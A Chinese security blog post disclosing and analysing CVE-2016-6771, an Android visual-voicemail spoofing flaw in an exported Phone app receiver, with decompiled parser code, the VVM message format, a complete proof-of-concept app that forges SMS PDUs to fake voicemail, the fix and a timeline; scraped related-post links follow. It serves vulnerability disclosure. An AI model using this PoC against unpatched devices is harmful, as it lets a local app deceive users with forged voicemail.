原文链接:https://security.tencent.com/index.php/blog/msg/110
谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁,本文将对该漏洞进行分析。

漏洞概述

Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver,该组件接收来自外部的Intent,解析承载的VVM协议,构造语音信箱。该漏洞可以被本地恶意应用触发,进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。

漏洞详情

在对AOSP中系统应用进行分析时,发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件,该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件,回想起以前谷歌出现的短信伪造漏洞,于是决定尝试进行分析,看是否存在该类漏洞。

由于该组件是一个广播接收者,于是分析onReceive回调函数处理逻辑,代码如下:

public void onReceive(Context context, Intent intent) {this.mContext = context;this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone"));if(this.mPhoneAccount == null) {Log.w("OmtpMessageReceiver", "Received message for null phone account");return;}if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) {Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source.");return;}//开始解析intent,将intent承载的额外数据还原为SmsMessage(短信消息)SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent);StringBuilder v3 = new StringBuilder();int v0;//把短信消息的body提取出来并合并for(v0 = 0; v0 < v5.length; ++v0) {if(v5[v0].mWrappedSmsMessage != null) {v3.append(v5[v0].getMessageBody());}}//通过OmtpSmsParser.parse对短息消息的body(vvm协议)进行解析封装到对应处理类WrappedMessageData v4 = OmtpSmsParser.parse(v3.toString());//根据不同的协议执行不同功能if(v4 != null) {if(v4.getPrefix() == "//VVM:SYNC:") {SyncMessage v2 = new SyncMessage(v4);Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());this.processSync(v2);}else if(v4.getPrefix() == "//VVM:STATUS:") {Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId());LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId());this.updateSource(new StatusMessage(v4));}else {Log.e("OmtpMessageReceiver", "This should never have happened");}}}

1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候,会进入vvm协议的解析流程;
2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent,把intent里承载的额外数据构造成SmsMessage,通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构;

public static SmsMessage[] getMessagesFromIntent(Intent intent) {Object[] messages;try {//提取pdus原始数据messages = (Object[]) intent.getSerializableExtra("pdus");}catch (ClassCastException e) {Rlog.e(TAG, "getMessagesFromIntent: " + e);return null;}if (messages == null) {Rlog.e(TAG, "pdus does not exist in the intent");return null;}//获取短消息格式类型String format = intent.getStringExtra("format");int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY,SubscriptionManager.getDefaultSmsSubscriptionId());Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId);int pduCount = messages.length;SmsMessage[] msgs = new SmsMessage[pduCount];//构造短信消息for (int i = 0; i < pduCount; i++) {byte[] pdu = (byte[]) messages[i];msgs[i] = SmsMessage.createFromPdu(pdu, format);msgs[i].setSubId(subId);}return msgs;
}

3.从短信消息结构中提取出body部分,交由OmtpSmsParser.parse解析,流程如下:

package com.android.phone.vvm.omtp.sms;
import android.util.ArrayMap;
import android.util.Log;
import java.util.Map;
public class OmtpSmsParser {private static String TAG;static {OmtpSmsParser.TAG = "OmtpSmsParser";}public OmtpSmsParser() {super();}public static WrappedMessageData parse(String smsBody) {WrappedMessageData v4 = null;if(smsBody == null) {return v4;}WrappedMessageData v0 = null;//短息消息需要满足前缀if(smsBody.startsWith("//VVM:SYNC:")) {v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:SYNC:".length())));if(v0.extractString("ev") == null) {Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev");return v4;}}else if(smsBody.startsWith("//VVM:STATUS:")) {v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:STATUS:".length())));}return v0;}//前缀之后需要满足的消息结构private static Map parseSmsBody(String message) {ArrayMap v3 = new ArrayMap();String[] v0 = message.split(";");int v6 = v0.length;int v4;for(v4 = 0; v4 < v6; ++v4) {String[] v2 = v0[v4].split("=");if(v2.length == 2) {((Map)v3).put(v2[0].trim(), v2[1].trim());}}return ((Map)v3);}
}

通过分析解析流程,可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头,后面有多个字段,由“;”分号作为分割,“=”等号作为键值对,通过分析StatusMessage(v4),SyncMessage(v4)的构造函数

public SyncMessage(WrappedMessageData wrappedData) {super();this.mSyncTriggerEvent = wrappedData.extractString("ev");this.mMessageId = wrappedData.extractString("id");this.mMessageLength = wrappedData.extractInteger("l");this.mContentType = wrappedData.extractString("t");this.mSender = wrappedData.extractString("s");this.mNewMessageCount = wrappedData.extractInteger("c");this.mMsgTimeMillis = wrappedData.extractTime("dt");}public StatusMessage(WrappedMessageData wrappedData) {super();this.mProvisioningStatus = wrappedData.extractString("st");this.mStatusReturnCode = wrappedData.extractString("rc");this.mSubscriptionUrl = wrappedData.extractString("rs");this.mServerAddress = wrappedData.extractString("srv");this.mTuiAccessNumber = wrappedData.extractString("tui");this.mClientSmsDestinationNumber = wrappedData.extractString("dn");this.mImapPort = wrappedData.extractString("ipt");this.mImapUserName = wrappedData.extractString("u");this.mImapPassword = wrappedData.extractString("pw");this.mSmtpPort = wrappedData.extractString("spt");this.mSmtpUserName = wrappedData.extractString("smtp_u");this.mSmtpPassword = wrappedData.extractString("smtp_pw");}

可以知道,程序要解析vvm协议如下:

//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx
//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx

4.根据vvm协议,构造不同的数据结构,最后根据不同的协议执行不同的流程。
5.在测试过程中,发现//VVM:SYNC可以指定来源,伪造任意号码。而如果要在进入可视化语音邮箱界面,点击播放语音时能够产生语音的下载,需要事先有//VVM:STATUS协议,这样在点击播放时才会去对应的服务器进行账号登录,获取数据(具体的测试本人并深入去测试,如有错误望大家指正),相关vvm协议可以参考资料[1]和[2]。


POC如下

构造一个短信消息结构,其中body为符合相关解析流程的//VVM协议,就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中,较早版本的Android系统曾经出现过伪造短信的漏洞,直接利用那段代码[3],构造短信消息可以。

@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);statusButton = (Button) findViewById(R.id.status_btn);syncButton = (Button) findViewById(R.id.sync_btn);statusButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:STATUS消息createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9");}});syncButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:SYNC消息createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;");}});}//构造短信消息private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);bo.write(scBytes);bo.write(0x04);bo.write((byte) sender.length());bo.write(senderBytes);bo.write(0x00);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(bodybytes);} catch (Exception e) {}pdu = bo.toByteArray();} catch (IOException e) {}//构造待发送的intentIntent intent = new Intent();intent.setClassName("com.android.phone","com.android.phone.vvm.omtp.sms.OmtpMessageReceiver");intent.putExtra("phone",0);intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.sendBroadcast(intent);}private static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4);}

实际效果

可以伪造语音信箱来源为12345678,欺骗用户

修复方案
谷歌的修复方案是设置该组件为不导出
https://android.googlesource.com/platform/packages/services/Telephony/+/a39ff9526aee6f2ea4f6e02412db7b33d486fd7d

时间线
• 2016.09.17 提交漏洞报告至Android issue Tracker
• 2016.10.04 确认漏洞,ANDROID-31566390
• 2016.10.27 分配CVE-2016-6771
• 2016.12.06 谷歌公告

参考
[1].https://shubs.io/breaking-international-voicemail-security-via-vvm-exploitation/
[2].http://www.gsma.com/newsroom/wp-content/uploads/2012/07/OMTP_VVM_Specification13.pdf
[3].(http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp)

CVE-2016-6771: Android语音信箱伪造漏洞分析相关推荐

  1. CVE-2016-6771: Android 语音信箱伪造漏洞分析

    谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击.目前谷歌已经发布补丁,本文将对该 ...

  2. android语音信箱功能,语音信箱的功能有哪些?

    语音信箱的功能有哪些?,语音信箱的功能有哪些?业务功能有: 1.留言 来访者可主动拨入信箱系统给信 语音信箱的功能有哪些? 业务功能有: 1.留言 来访者可主动拨入信箱系统给信箱主人留言,信箱主人也可 ...

  3. CVE-2014-7911 Android本地提权漏洞分析与利用

    概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...

  4. android super参数,Android Superuser 提权漏洞分析

    近日,国外安全研究人员揭露多款Android平台下的授权应用管理软件存在3个安全漏洞,利用漏洞可进行root. TSRC也对这3个Android Superuser 提权漏洞进行了分析,具体分析情况请 ...

  5. android语音信箱功能,android预置默认的语音信箱号码具体实现

    有些SIM卡在出厂时并没有预置VoiceMail number,但运营商又要求能够根据PLMN去自适应的从手机中读取到预设的VM number.在此介绍以xml的方式预置VM number的方法,以及 ...

  6. 某CCTV摄像头漏洞分析

    mickey · 2016/02/18 11:02 0x00 漏洞分析 今天看老外分析了一款廉价CCTV摄像头的文章,地址在www.pentestpartners.com/blog/pwning-,摄 ...

  7. Android自定义权限CVE漏洞分析 (IEEE论文)

    文章目录 前言 自定义权限早期漏洞 1.1 Android权限机制 1.2 自定义权限升级漏洞 1.3 confused deputy attack 自定义权限近期漏洞 2.1 黑盒Fuzz工具原理 ...

  8. Android 预置默认的语音信箱号码

    前言          欢迎大家我分享和推荐好用的代码段~~ 声明          欢迎转载,但请保留文章原始出处:          CSDN:http://www.csdn.net        ...

  9. 基于MTK平台的Android预制语音信箱号码

    我们可以将预制的语音信箱号码写到xml文件夹中. 一般路径为: vendor\mediatek\frameworks\telephony\etc 下的voicemail-conf.xml. <? ...

最新文章

  1. NSPredicate的使用
  2. CRM呼叫中心里interaction record的设计逻辑
  3. python udp创建addr_一篇文章搞定Python 网络编程之UDP协议
  4. Nodejs开发框架Express3.0开发手记–从零开始
  5. JAVA开发第一步——JDK 安装
  6. ibatis返回结果映射到HashMap时,列名无效的问题
  7. Android开发工具集合
  8. 简单c语言程序例子与运行结果图,C语言程序第一次作业
  9. 2015-5-10分享pdf
  10. 行为树(Behavior Tree)详细介绍
  11. geoserver发布shp格式的图层 实现步骤(含图).doc
  12. 解决VScode输入 英文感叹号+tab键 无法自动生成HTML模板
  13. 转自【MDCC技术大咖秀】Android内存优化之OOM
  14. 蠕虫病毒Synaptics.exe感染日记
  15. 4.7 Case Study on Sandy Bridge C…
  16. 中兴华为继续应诉欧盟无线网卡反倾销
  17. Linus Torvalds 发布 Linux Kernel 5.9,引入各种新功能与改进
  18. IOS 插屏广告弹窗
  19. java——final关键字、权限、内部类、引用类型
  20. zipkin ui界面详解

热门文章

  1. 【论文阅读】An Empirical Evaluation of Generic Convolutional and Recurrent Networks for Sequence Modeling
  2. 不论你技术多牛逼,30岁后,这3件事越早做越好!
  3. python机器学习 多项式回归模型正则化(拉索,岭,弹性网)
  4. 计算机视觉-图像识别分类线性分类器
  5. Hadoop 生态之 MapReduce 及 Hive 简介
  6. soa和微服务的区别
  7. 实验硬点数据拟合(python版)
  8. linux内核读取smbios,linux – dmidecode在哪里获得SMBIOS表?
  9. 篮球比赛技术统计效率值
  10. 机器学习工具(一)——Windows 7 下安装 Tensorflow_CPU 版